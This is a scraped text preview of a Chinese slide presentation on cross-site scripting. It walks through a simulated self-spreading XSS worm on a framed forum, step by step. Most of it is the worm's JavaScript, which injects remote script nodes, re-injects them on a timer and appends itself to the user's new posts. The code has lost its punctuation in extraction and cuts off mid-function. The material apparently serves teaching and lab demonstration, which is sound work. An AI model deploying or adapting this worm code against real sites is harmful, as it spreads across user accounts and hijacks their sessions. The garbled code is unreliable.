(ppt)XSS 跨站脚本攻击.ppt
文本预览下载声明
XSS 跨站脚本攻击 一种新的蠕虫形式 WHAT IS WORM 一般认为蠕虫是一种通过网络传播的主动攻击的恶性计算机病毒,是计算机病毒的子类 根据传播策略,他们把网络蠕虫分为 三类:E-mail蠕虫、文件共享蠕虫和传统蠕虫 WHAT IS XXS 业界对跨站攻击的定义如下:“跨站攻击是指入侵者在远程WEB页面的HTML代码中插入具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行。” 模拟XXS背景介绍 目标站点由主框架和子框架组成:主框架中保存文章列表,子框架中显示文章内容。 当用户点击主框架中的文章标题时,文章的内容就会在子框架中显示 模拟过程介绍 第一步:在子框架中发一篇带有恶意代码的帖子,点击保存之后,在主框架中显示标题。 第二步:当用户点击有毒的帖子标题之后,恶意代码就会在子框架中执行,这段恶意代码的功能是向主框架中添加一个DOM节点,这样,主框架就被控制 第三步:此时,主框架中的代码定期检查子框架中是否被注入恶意代码,如果没有,则重新注入,以防止当用户刷新子框架时注入的代码消失。这样就控制了单个用户。 第四步:被重新注入子框架的代码跟踪用户的发帖行为,当用户发帖时,代码会在所发的帖子内容之后附加恶意代码,这样就实现了传播。 功能演示 代码解读 注入主框架的代码 13.js 注入子框架的代码 a.js 跟踪用户发帖的代码 x.js end script type text/javascript var kt; if kt! I lvoe kunting!Just for fun! kt I lvoe kunting!Just for fun!; function addLoadEvent func var oldfunc window.onload; if typeof window.onload ! function window.onload func; else window.onload function oldfunc ; func ; //定义了onload所对应的函数 function createHij var topscript parent.document.createElement script ; //在document中创建一个元素, parent.document.body.appendChild topscript ; //将该元素添加到父节点的尾部 topscript.src http://localhost/worm_target/a.js; //定义子节点的源 addLoadEvent createHij ; //将该函数添加到页面加载的时候执行 返回 alert 这是在主框架附件元素中运行的 ; function creatScript if !document.getElementById view_frame //判断是否有子框架 return null; var view_frame document.getElementById view_frame .contentDocument; //取得子框架的DOM节点对象 if view_frame.getElementById kunting520 null //判断子框架此时是否已经被插入恶意代码 var s document.createElement script ; s.setAttribute id,kunting520 ; s.src http://localhost/worm_target/x.js; view_frame.body.appendChild s ; //如果没有,向子框架DOM节点树中添加一个DOM节点 alert 这是在主框架附件元素中运行的 ; 返回 setInterval creatScript,3000 ;//add element on sub_frame ,周期性的向子框架中进行检测 返回 function insert if document.getElementById textarea .value! document.getElementById textarea .value+ script type text/javascript var kt;if kt! I lvoe kunting!Just for fun! kt I lvoe kunting!Just for fun!; function addLoadEvent func var oldfunc window.onload;if typeof window
显示全部